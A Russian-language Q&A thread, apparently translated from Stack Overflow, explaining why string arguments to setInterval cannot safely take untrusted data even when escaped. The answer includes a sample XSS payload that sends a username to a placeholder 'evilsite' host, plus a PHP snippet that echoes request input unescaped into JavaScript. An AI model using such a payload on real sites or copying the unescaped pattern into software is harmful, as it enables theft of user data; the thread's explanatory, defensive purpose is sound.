Почему setInterval небезопасен от XSS? - PullRequest
2 голосов
/ 13 июля 2020

Я просматриваю OW ASP Шпаргалку по предотвращению межсайтовых сценариев . В правиле № 3 сказано:

Обратите внимание, что есть некоторые JavaScript функции, которые никогда не могут безопасно использовать ненадежные данные в качестве входных - ДАЖЕ ЕСЛИ JAVASCRIPT ESCAPED!

<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>

Чтобы уточнить:

  1. Я знаю, что используя setInterval и др. является безопасным с вашим собственным контентом.
  2. Я знаю, что должен проверять, экранировать и / или дезинфицировать внешний контент.

Насколько я понимаю, это правило №3 подразумевает, что злоумышленник может обойти любые фильтры XSS, о которых вы можете подумать, если вы используете setInterval.

У вас есть пример того, что они означают? Какого типа XSS-атака вы никогда не будете защищены от использования setInterval?

Здесь есть аналогичный вопрос: .setinterval и XSS , к сожалению, ответ мне не помог.

1 Ответ

2 голосов
/ 13 июля 2020

Сначала немного предыстории:

Экранирование для защиты от XSS включает добавление подходящих escape-символов, чтобы мошеннические данные не могли вырваться из того места, где вы их поместили, и были оценены как JavaScript.

например, данный пользовательский ввод xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + '

Если вы вставили его в строковый литерал с серверным кодом:

const userinput = '<?php echo $_GET("userinput"); ?>'

Вы получите:

const userinput = 'xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + ''`

Тогда ' вырвется из строкового литерала в JS, украдет имя пользователя и отправит его на сайт злоумышленника. (Есть вещи похуже, чем имена пользователей, которые могут быть украдены.

Экранирование предназначено для предотвращения выхода данных из строкового литерала, например:

const userinput = 'xss\' + window.location = \"http://evilsite/steal?username=\" + encodeURLComponent(document.getElementById(\"user-widget\").textContent) + \''`

Таким образом, атакующий код просто становится часть строки , а не оценивается как необработанный код.

Проблема с передачей строки в setInterval (или setTimeout, new Function, eval, и c) заключается в том, что они являются функциями , предназначенными для оценки кода .

Злоумышленнику не нужно выходить за пределы строкового литерала, чтобы выполнить свой код. Это уже происходит.

Мой вопрос заключается в понимании того, почему setInterval никогда не может быть защищен от XSS.

Это не то, о чем вы процитировали предупреждение. Он сказал, что никогда не может безопасно использовать ненадежные данные в качестве входных . Если вы помещаете туда свой собственный код, это совершенно безопасно. Проблемы возникают именно тогда, когда вы оцениваете ввод данных пользователем.

Передавать строку в setInterval в любом случае - плохая идея. Это сложно отлаживать и относительно медленно.

Вместо этого передайте функцию. Тогда вы даже можете безопасно использовать пользовательский ввод (поскольку он не оценивается как код, это просто переменная со строкой в ​​ней).

const userinput = "properly escaped user input";

setInterval(() => {
    document.body.appendChild(
        document.createTextNode(userinput)
    );
}, 1000);
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...